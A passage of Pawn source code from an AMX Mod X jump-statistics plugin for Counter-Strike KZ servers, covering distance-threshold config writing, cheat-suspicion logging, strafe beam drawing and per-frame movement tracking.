	fprintf(f, "kz_uq_pro_ladder %i^n",ladder_pro_dist);
	fprintf(f, "kz_uq_holy_ladder %i^n",ladder_holy_dist);
	fprintf(f, "kz_uq_leet_ladder %i^n",ladder_leet_dist);
	fprintf(f, "kz_uq_god_ladder %i^n",ladder_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// BhopJump/StandUp BhopJump^n");
	fprintf(f, "kz_uq_good_bj %i^n",bj_good_dist);	
	fprintf(f, "kz_uq_pro_bj %i^n",bj_pro_dist);
	fprintf(f, "kz_uq_holy_bj %i^n",bj_holy_dist);
	fprintf(f, "kz_uq_leet_bj %i^n",bj_leet_dist);
	fprintf(f, "kz_uq_god_bj %i^n",bj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// WeirdJump/Drop CountJump(double,multi)/Ladder BhopJump^n");
	fprintf(f, "kz_uq_good_wj %i^n",wj_good_dist);	
	fprintf(f, "kz_uq_pro_wj %i^n",wj_pro_dist);
	fprintf(f, "kz_uq_holy_wj %i^n",wj_holy_dist);
	fprintf(f, "kz_uq_leet_wj %i^n",wj_leet_dist);
	fprintf(f, "kz_uq_god_wj %i^n",wj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop BhopJump^n");
	fprintf(f, "kz_uq_good_dbj %i^n",dbj_good_dist);	
	fprintf(f, "kz_uq_pro_dbj %i^n",dbj_pro_dist);
	fprintf(f, "kz_uq_holy_dbj %i^n",dbj_holy_dist);
	fprintf(f, "kz_uq_leet_dbj %i^n",dbj_leet_dist);
	fprintf(f, "kz_uq_god_dbj %i^n",dbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// StandUp CountJump (Double or Multi StandUp CountJump=SCJ+10units)(if 100aa all cvar dist +10 units)^n");
	fprintf(f, "kz_uq_good_scj %i^n",scj_good_dist);	
	fprintf(f, "kz_uq_pro_scj %i^n",scj_pro_dist);
	fprintf(f, "kz_uq_holy_scj %i^n",scj_holy_dist);
	fprintf(f, "kz_uq_leet_scj %i^n",scj_leet_dist);
	fprintf(f, "kz_uq_god_scj %i^n",scj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Drop StandUp CountJump(double,multi)^n");
	fprintf(f, "kz_uq_good_dropscj %i^n",dropscj_good_dist);	
	fprintf(f, "kz_uq_pro_dropscj %i^n",dropscj_pro_dist);
	fprintf(f, "kz_uq_holy_dropscj %i^n",dropscj_holy_dist);
	fprintf(f, "kz_uq_leet_dropscj %i^n",dropscj_leet_dist);
	fprintf(f, "kz_uq_god_dropscj %i^n",dropscj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up Bhop^n");
	fprintf(f, "kz_uq_good_upbj %i^n",upbj_good_dist);	
	fprintf(f, "kz_uq_pro_upbj %i^n",upbj_pro_dist);
	fprintf(f, "kz_uq_holy_upbj %i^n",upbj_holy_dist);
	fprintf(f, "kz_uq_leet_upbj %i^n",upbj_leet_dist);
	fprintf(f, "kz_uq_god_upbj %i^n",upbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Up StandBhop^n");
	fprintf(f, "kz_uq_good_upsbj %i^n",upsbj_good_dist);	
	fprintf(f, "kz_uq_pro_upsbj %i^n",upsbj_pro_dist);
	fprintf(f, "kz_uq_holy_upsbj %i^n",upsbj_holy_dist);
	fprintf(f, "kz_uq_leet_upsbj %i^n",upsbj_leet_dist);
	fprintf(f, "kz_uq_god_upsbj %i^n",upsbj_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Bhop In Duck(Up Bhop In Duck)^n");
	fprintf(f, "kz_uq_good_bhopinduck %i^n",bhopinduck_good_dist);	
	fprintf(f, "kz_uq_pro_bhopinduck %i^n",bhopinduck_pro_dist);
	fprintf(f, "kz_uq_holy_bhopinduck %i^n",bhopinduck_holy_dist);
	fprintf(f, "kz_uq_leet_bhopinduck %i^n",bhopinduck_leet_dist);
	fprintf(f, "kz_uq_god_bhopinduck %i^n",bhopinduck_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Duck Bhop^n");
	fprintf(f, "kz_uq_good_duckbhop %i^n",duckbhop_good_dist);	
	fprintf(f, "kz_uq_pro_duckbhop %i^n",duckbhop_pro_dist);
	fprintf(f, "kz_uq_holy_duckbhop %i^n",duckbhop_holy_dist);
	fprintf(f, "kz_uq_leet_duckbhop %i^n",duckbhop_leet_dist);
	fprintf(f, "kz_uq_god_duckbhop %i^n",duckbhop_god_dist);
	fprintf(f, "^n");
	
	fprintf(f, "// Real Ladder Bhop^n");
	fprintf(f, "kz_uq_good_realldbhop %i^n",real_good_dist);	
	fprintf(f, "kz_uq_pro_realldbhop %i^n",real_pro_dist);
	fprintf(f, "kz_uq_holy_realldbhop %i^n",real_holy_dist);
	fprintf(f, "kz_uq_leet_realldbhop %i^n",real_leet_dist);
	fprintf(f, "kz_uq_god_realldbhop %i^n",real_god_dist);
	fprintf(f, "^n");
	
	fclose(f);
	
	server_cmd("exec %s", config);
	server_exec();
}

#include <uq_jumpstats_sql.inc>

public Log_script(f_frames,cheated_frames,id,Float:log_dist,Float:log_max,Float:log_pre,log_str,log_sync,jump_type_str[],wpn_str[],punishments[],t_str[40*NSTRAFES])
{
	new Date[20];
	get_time("%m/%d/%y %H:%M:%S", Date, 19)	;
	new username[33];
	get_user_name(id, username, 32);
	new userip[16];
	get_user_ip(id, userip, 15, 1);
	new authid[35];
	get_user_authid(id, authid, 34);
	new main_text[512];
	
	write_file(logs_path, "---------------------------------------------------", -1);
	formatex(main_text, 511, "%s |%s |%s |%s |%s |%s ^n", Date,username, authid, userip, "Script",punishments);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Type: %s ::: Weapon: %s^nDistance: %.03f Maxspeed: %.03f Prestrafe: %.03f Strafes: %d Sync: %d^n",jump_type_str,wpn_str,log_dist,log_max,log_pre,log_str,log_sync);
	write_file(logs_path, main_text, -1);
	formatex(main_text, 511, "Total Frames: %d^nCheated Frames: %d^n",f_frames,cheated_frames);
	write_file(logs_path, main_text, -1);
	
	new strf[40];
	for(new ll=INFO_ONE; (ll <= log_str) && (ll < NSTRAFES);ll++)
	{
		strtok(t_str,strf,40,t_str,40*NSTRAFES,'^n');
		replace(strf,40,"^n","");
		write_file(logs_path, strf, -1);
	}
	write_file(logs_path, "---------------------------------------------------", -1);
	
	if(uq_script_notify)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
	}
}
public krasnota(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(255);
		write_byte(0);
		write_byte(0);
		write_byte(110);
		message_end();
}

public sineva(id)
{                
		message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
		write_short(1<<10);
		write_short(1<<10);
		write_short(0x0000);
		write_byte(0);
		write_byte(0);
		write_byte(255);
		write_byte(110);
		message_end();
}

public tskFps(id)
{
	if( leg_settings)
	{
		id-=434490;
		client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
	}
}
public server_frame()
{
	if( leg_settings )
	{
		if( get_pcvar_num(edgefriction) != 2 )
			set_pcvar_num(edgefriction, 2);
		
		if( get_pcvar_num(mp_footsteps) != 1 )
			set_pcvar_num(mp_footsteps, 1);
		
		if( get_pcvar_num(sv_cheats) != 0 )
			set_pcvar_num(sv_cheats, 0);
		
		if( get_pcvar_num(sv_gravity)!= 800 )
			set_pcvar_num(sv_gravity, 800);
		
		if((uq_airaccel==0 || uq_airaccel==10) && get_pcvar_num(sv_airaccelerate) != 10 )
			set_pcvar_num(sv_airaccelerate, 10);
		else if((uq_airaccel==1 || uq_airaccel==100) && get_pcvar_num(sv_airaccelerate) != 100 )
			set_pcvar_num(sv_airaccelerate, 100);
		else if(get_pcvar_num(sv_airaccelerate) != uq_airaccel && uq_airaccel!=0 && uq_airaccel!=1)
			set_pcvar_num(sv_airaccelerate, uq_airaccel);
		
		if( get_pcvar_num(sv_maxspeed) != 320 )
			set_pcvar_num(sv_maxspeed, 320);
		
		if( get_pcvar_num(sv_stepsize) != 18 )
			set_pcvar_num(sv_stepsize, 18);
		
		if( get_pcvar_num(sv_maxvelocity) != 2000 )
			set_pcvar_num(sv_maxvelocity, 2000);
	}
}
public client_putinserver(id)
{
	if(speedon[id] && !is_user_hltv(id) && !is_user_bot(id))// && is_user_alive(id) && is_user_bot(id) && is_user_hltv())
	{
		set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
	}
	
	get_user_name(id, g_playername[id], 63);
	get_user_ip(id, g_playerip[id], 15, 1);
	get_user_authid(id, g_playersteam[id], 35);

	if(kz_sql == 1)
	{
		player_load_info(id);
	}
	
	if(is_user_admin(id))
	{
		player_admin[id]=true;
	}
}
public Dojof(taskid)
{
	taskid-=212398;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		if(jof[show_id]!=0.0)
		{	
			if(jof[show_id]>5.0)
			{
				set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			else
			{
				set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			show_hudmessage(taskid,"%L",LANG_SERVER,"UQSTATS_JOF", jof[show_id]);
		}
	}
}


public DoSpeed(taskid)
{
	taskid-=212299;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		new Float:velocity[3];
		pev(show_id, pev_velocity, velocity);
			
		if( velocity[2] != 0 )
			velocity[2]-=velocity[2];
					
		new Float:speedy = vector_length(velocity);
		
		if(speedtype[taskid])
		{
			set_dhudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.1, 0.0, 0.0);
			show_dhudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
		}
		else
		{
			set_hudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.2, 0.0, 0.0, h_speed);
			show_hudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));		
		}
	}
}
public wait(id)
{
	id-=3313;
	waits[id]=1;

}

public wait1(id)
{
	id-=3214;
	waits1[id]=1;

}

public client_command(id)
{
	static command[32];
	read_argv( 0, command, 31 );

	static const forbidden[][] = {
		"tele", "tp", "gocheck", "gc", "stuck", "unstuck", "start", "reset", "restart",
		"spawn", "respawn"
	};
	if(uq_info)
	{
		if(record_start[id]==0 && equali( command, "fullupdate" ))
		{
			record_start[id]=1;
		}
		else if(record_start[id]==1 && equali( command, "specmode" ))
		{
			set_hudmessage(255, 255, 255, 0.72, 0.0, 0, 6.0, 1.0);
			show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_INFOSTS",VERSION);
			
			record_start[id]=0;
		}
	}
	
	if( equali( command, "say" ) )
	{
		read_args( command, 31 );
		remove_quotes( command );
	}
	
	if( equali( command, "+hook" ) )
	{
		JumpReset(id,0);
		donehook[id]=true;
		hookcheck[id]=false;
	}
	else if( command[0] == '/' || command[0] == '.' )
	{
		copy( command, 31, command[1] );
		
		for( new i ; i < sizeof( forbidden ) ; i++ )
		{
			if( equali( command, forbidden[i] ) )
			{
				JumpReset(id,1);
				break;
			}
		}
	}
}
public remove_beam_ent(id)
{
	for(new i=0;i<ent_count[id];i++)
	{
		message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
		write_byte(99);
		write_short(beam_entity[id][i]);
		message_end();
		
		remove_entity(beam_entity[id][i]);
	}
	ent_count[id]=0;
}
public epta(id,Float:or[3],direct_strafe,l_lost[NSTRAFES][NVAR],full,ducked,str_num,strafe_frame1[NSTRAFES],strafe_frame2[NSTRAFES],strafe_lost[NSTRAFES])
{	
	new Float:os_start,Float:temp_or[3],direct[2];
	
	switch(direct_strafe)
	{
		case 1:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
		}
		case 2:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[1]=1;
		}
		case 3:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
			direct[1]=1;
		}
		case 4:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
		}
	}
	
	os_start=temp_or[0]-(full/2);

	if(direct[1])
	{
		new Float:temp_start=os_start+full;
			
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
		//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
	
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start-full));
		}
		else 
		{
			write_coord(floatround(temp_start-full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
			
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start-full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start-full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
			
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start-strafe_lost[i]-strafe_frame1[i]-strafe_frame2[i];
			st_start=temp_start-strafe_lost[i];
			
			for(new Float:j=st_start,count_l=0;j>st_finish;j=j-1.0)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
				//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);
				
		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
			
		}
	}
	else
	{
		new Float:temp_start=os_start;
		
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
	//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
		
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start+full));
		}
		else 
		{
			write_coord(floatround(temp_start+full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start+full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start+full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start+strafe_lost[i]+strafe_frame1[i]+strafe_frame2[i];
			st_start=temp_start+strafe_lost[i];
			//ColorChat(id,RED,"start=%f tempstart=%f st_start=%f st_finish=%f",os_start,temp_start, st_start,st_finish);
			
			for(new Float:j=st_start,count_l=0;j<st_finish;j++)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);

		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
		}
	}
}


public fwdPreThink( id )
{
	if(g_userConnected[id]==true && g_pBot[id]==false)
	{	
		if(uq_admins==1 && !player_admin[id])
		{
			return FMRES_IGNORED;
		}
		else
		{
			new tmpTeam[33],dead_flag;	
			get_user_team(id,tmpTeam,32);
			dead_flag=pev(id, pev_deadflag);
			
			if(equali(tmpTeam,"SPECTATOR") && g_alive[id])
			{
				g_alive[id]=false;
				
				if( task_exists(id, 0) )
					remove_task(id, 0);
					
				if( task_exists(id+434490, 0) )
					remove_task(id+434490, 0);
					
				if( task_exists(id, 0) )
					remove_task(id, 0);
				
				if( task_exists(id+89012, 0) )
					remove_task(id+89012, 0);
				
				if( task_exists(id+3313, 0) )
					remove_task(id+3313, 0);
				
				if( task_exists(id+3214, 0) )
					remove_task(id+3214, 0);
					
				if( task_exists(id+15237, 0) )
					remove_task(id+15237, 0);
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
			}
			else if(equali(tmpTeam,"TERRORIST") || equali(tmpTeam,"CT"))
			{
				if(dead_flag==2 && g_alive[id])
				{
					g_alive[id]=false;
					
					if( task_exists(id, 0) )
						remove_task(id, 0);
						
					if( task_exists(id+434490, 0) )
						remove_task(id+434490, 0);
						
					if( task_exists(id, 0) )
						remove_task(id, 0);
					
					if( task_exists(id+89012, 0) )
						remove_task(id+89012, 0);
					
					if( task_exists(id+3313, 0) )
						remove_task(id+3313, 0);
					
					if( task_exists(id+3214, 0) )
						remove_task(id+3214, 0);
						
					if( task_exists(id+15237, 0) )
						remove_task(id+15237, 0);
					
					if( task_exists(id+212398, 0) )
						remove_task(id+212398, 0);
				}
				else if(dead_flag==0 && g_alive[id]==false)
				{
					g_alive[id]=true;
				}
			}
			
			
			
			if(uq_team==0)
			{
				team[id]=0;
			}
			else if(equali(tmpTeam,"TERRORIST"))
			{
				team[id]=1;
			}
			else if(equali(tmpTeam,"CT"))
			{
				team[id]=2;
			}
			else
			{
				team[id]=uq_team;
			}
			
			if( g_alive[id] && team[id]==uq_team)
			{
				static bool:failed_ducking[33];
				static bool:first_frame[33];
				static Float:duckoff_time[33];
				static Float:duckoff_origin[33][3], Float:pre_jumpoff_origin[33][3];
				static Float:jumpoff_foot_height[33];	
				static Float:prest[33],Float:prest1[33],Float:jumpoff_origin[33][3],Float:failed_velocity[33][3],Float:failed_origin[33][3];
				static Float:frame_origin[33][2][3], Float:frame_velocity[33][2][3], Float:jumpoff_time[33], Float:last_land_time[33];
				
				new entlist1[1];
				
				weapSpeedOld[id] = weapSpeed[id];
				
				if( g_reset[id] ==true)
				{
					angles_arry[id]=0;
					dd_sync[id]=0;
					g_reset[id]	= false;
					g_Jumped[id]	= false;
					cjjump[id] =false;
					in_air[id]	= false;
					in_duck[id]	= false;
					in_bhop[id]	= false;
					ducks[id]=0;
					first_duck_z[id]=0.0;
					backwards[id]=false;
					dropaem[id]=false;
					failed_jump[id] = false;
					prest[id]=0.0;
					bug_true[id]=false;
					detecthj[id]=0;
					edgedone[id]=false;
					jumpblock[id]=1000;
					schetchik[id]=0;
					CjafterJump[id]=0;
					upBhop[id]=false;
					old_type_dropbj[id]=Type_Null;
					first_surf[id]=false;
					surf[id]=0.0;
					ddbeforwj[id]=false;
					duckstring[id]=false;
					notjump[id]=false;
					frames_gained_speed[id] = 0;
					frames[id]	= 0;
					strafe_num[id] = 0;
					ladderjump[id]=false;
					started_multicj_pre[id]	= false;
					started_cj_pre[id]		= false;
					jumpoffirst[id]=false;
					jump_type[id]	= Type_None;
					gBeam_count[id] = 0;
					edgedist[id]=0.0;
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					duckbhop_bug_pre[id]=false;
					FullJumpFrames[id]=0;
					direct_for_strafe[id]=0;
					ddstandcj[id]=false;
					
					for( new i = 0; i < 100; i++ )
					{
						gBeam_points[id][i][0]	= 0.0;
						gBeam_points[id][i][1]	= 0.0;
						gBeam_points[id][i][2]	= 0.0;
						gBeam_duck[id][i]	= false;
						gBeam_button[id][i]=false;
						
					}
					Checkframes[id]=false;
					for(new i=0;i<NSTRAFES;i++)
					{
						type_button_what[id][i]=0;
						if(uq_istrafe)
							lost_frame_count[id][i]=0;						
					}
					
					if(uq_istrafe)
					{
						for(new i=0;i<=line_erase_strnum[id];i++)
						{
							for( new j = 0; j <= line_erase[id][i]; j++ )
							{
								if(i<NSTRAFES && j<NVAR)
									line_lost[id][i][j]=0;
							}
						}
					}
				}
				
				static button, oldbuttons, flags;
				pev(id, pev_maxspeed, weapSpeed[id]);
				pev(id, pev_origin, origin);
				button = pev(id, pev_button );
				flags = pev(id, pev_flags );
				oldbuttons = pev( id, pev_oldbuttons );
				
				static Float:fGravity,Pmaxspeed;
				pev(id, pev_gravity, fGravity);
				Pmaxspeed=pev( id, pev_maxspeed );
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				movetype[id] = pev(id, pev_movetype);
				
				if( flags&FL_ONGROUND && flags&FL_INWATER )  
						velocity[2] = 0.0;
				if( velocity[2] != 0 )
					velocity[2]-=velocity[2];
					
				speed[id] = vector_length(velocity);	
				
				new is_spec_user[33];
				for( new i = INFO_ONE; i < max_players; i++ )
				{
					is_spec_user[i]=is_user_spectating_player(i, id);
				}
				if(strafe_num[id]>NSTRAFES1)
				{
					g_reset[id]=true;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							set_hudmessage( 255, 255, 255, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_STR1",NSTRAFES1,strafe_num[id]);	
						}
					}
					return FMRES_IGNORED;
				}
				
				
				if((button&IN_RIGHT || button&IN_LEFT) && !(flags&FL_ONGROUND))
				{
					for(new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							client_print(i,print_center,"%L",LANG_SERVER,"UQSTATS_STR2");
							JumpReset(id,28);
							return FMRES_IGNORED;
						}
					}
				}
				new airace,aircj;
				if(uq_airaccel<=10 && uq_airaccel!=1)
				{
					if(uq_airaccel==0)
						airace=10;
					else
						airace=uq_airaccel;
						
					aircj=0;
					formatex(airacel[id],32,"");
				}
				else
				{
					if(uq_airaccel==1)
					{
						airace=100;
						formatex(airacel[id],32,"(100aa)");
					}
					else
					{
						airace=uq_airaccel;
						formatex(airacel[id],32,"(%daa)",uq_airaccel);
					}
					aircj=10;
				}
				
				new spd;
